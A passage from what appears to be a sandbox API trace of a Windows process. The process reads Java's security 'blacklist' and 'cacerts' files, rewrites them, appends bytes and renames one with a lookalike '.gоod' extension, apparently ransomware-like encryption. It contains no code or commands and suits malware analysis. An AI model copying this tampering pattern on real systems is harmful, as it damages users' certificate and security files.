dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0112.621] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.621] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0112.622] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0112.622] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0112.622] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0112.622] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0112.622] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0112.622] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0112.622] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0112.623] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0112.623] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.623] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0112.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0112.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0112.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0112.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security", lpFilePart=0x0) returned 0x2f [0112.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0112.624] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.625] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0112.625] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0112.625] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0112.625] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0112.625] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0112.625] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0112.626] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0112.626] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0112.626] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0112.626] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0112.626] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0112.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0112.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0112.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", lpFilePart=0x0) returned 0x39 [0112.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0112.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), fInfoLevelId=0x0, lpFileInformation=0x3611358 | out: lpFileInformation=0x3611358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6)) returned 1 [0112.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0112.628] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", lpFilePart=0x0) returned 0x39 [0112.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0112.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0112.628] GetFileType (hFile=0x7ec) returned 0x1 [0112.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0112.628] GetFileType (hFile=0x7ec) returned 0x1 [0112.628] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0xfd6 [0112.628] ReadFile (in: hFile=0x7ec, lpBuffer=0x3612598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x3612598*, lpNumberOfBytesRead=0x1ffee2c8*=0xfd6, lpOverlapped=0x0) returned 1 [0112.630] CloseHandle (hObject=0x7ec) returned 1 [0114.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", lpFilePart=0x0) returned 0x39 [0114.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0114.042] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.633] GetFileType (hFile=0x6e0) returned 0x1 [0114.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0114.634] GetFileType (hFile=0x6e0) returned 0x1 [0114.634] WriteFile (in: hFile=0x6e0, lpBuffer=0x3626ac8*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3626ac8*, lpNumberOfBytesWritten=0x1ffee1d8*=0xfe0, lpOverlapped=0x0) returned 1 [0114.635] CloseHandle (hObject=0x6e0) returned 1 [0114.635] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", lpFilePart=0x0) returned 0x39 [0114.635] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.gоod", lpFilePart=0x0) returned 0x3e [0114.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0114.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x408b6bf1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfe0)) returned 1 [0114.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0114.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.gоod")) returned 1 [0114.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", lpFilePart=0x0) returned 0x37 [0114.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0114.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), fInfoLevelId=0x0, lpFileInformation=0x3627d10 | out: lpFileInformation=0x3627d10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb)) returned 1 [0114.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0114.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", lpFilePart=0x0) returned 0x37 [0114.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0114.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.636] GetFileType (hFile=0x6e0) returned 0x1 [0114.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0114.636] GetFileType (hFile=0x6e0) returned 0x1 [0114.636] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffee398*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffee398*=0) returned 0x1000 [0114.636] ReadFile (in: hFile=0x6e0, lpBuffer=0x36280c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee368, lpOverlapped=0x0 | out: lpBuffer=0x36280c8*, lpNumberOfBytesRead=0x1ffee368*=0x1000, lpOverlapped=0x0) returned 1 [0114.638] CloseHandle (hObject=0x6e0) returned 1 [0114.638] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", lpFilePart=0x0) returned 0x37 [0114.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0114.638] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.638] GetFileType (hFile=0x6e0) returned 0x1 [0114.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0114.638] GetFileType (hFile=0x6e0) returned 0x1 [0114.638] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffee398*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffee398*=0) returned 0x1c0eb [0114.638] WriteFile (in: hFile=0x6e0, lpBuffer=0x3629330*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffee288, lpOverlapped=0x0 | out: lpBuffer=0x3629330*, lpNumberOfBytesWritten=0x1ffee288*=0x10, lpOverlapped=0x0) returned 1 [0114.639] CloseHandle (hObject=0x6e0) returned 1 [0114.639] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", lpFilePart=0x0) returned 0x37 [0114.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0114.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.639] GetFileType (hFile=0x6e0) returned 0x1 [0114.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0114.639] GetFileType (hFile=0x6e0) returned 0x1 [0114.639] ReadFile (in: hFile=0x6e0, lpBuffer=0x362cfb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee318, lpOverlapped=0x0 | out: lpBuffer=0x362cfb0*, lpNumberOfBytesRead=0x1ffee318*=0x1000, lpOverlapped=0x0) returned 1 [0114.751] CloseHandle (hObject=0x6e0) returned 1 [0114.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", lpFilePart=0x0) returned 0x37 [0114.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0114.751] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.751] GetFileType (hFile=0x6e0) returned 0x1 [0114.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0114.751] GetFileType (hFile=0x6e0) returned 0x1 [0114.751] WriteFile (in: hFile=0x6e0, lpBuffer=0x362bd38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffee3c8, lpOverlapped=0x0 | out: lpBuffer=0x362bd38*, lpNumberOfBytesWritten=0x1ffee3c8*=0x1010, lpOverlapped=0x0) returned 1 [0114.751] CloseHandle (hObject=0x6e0) returned 1 [0114.752] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", lpFilePart=0x0) returned 0x37 [0114.752] GetFullPathNameW (in: 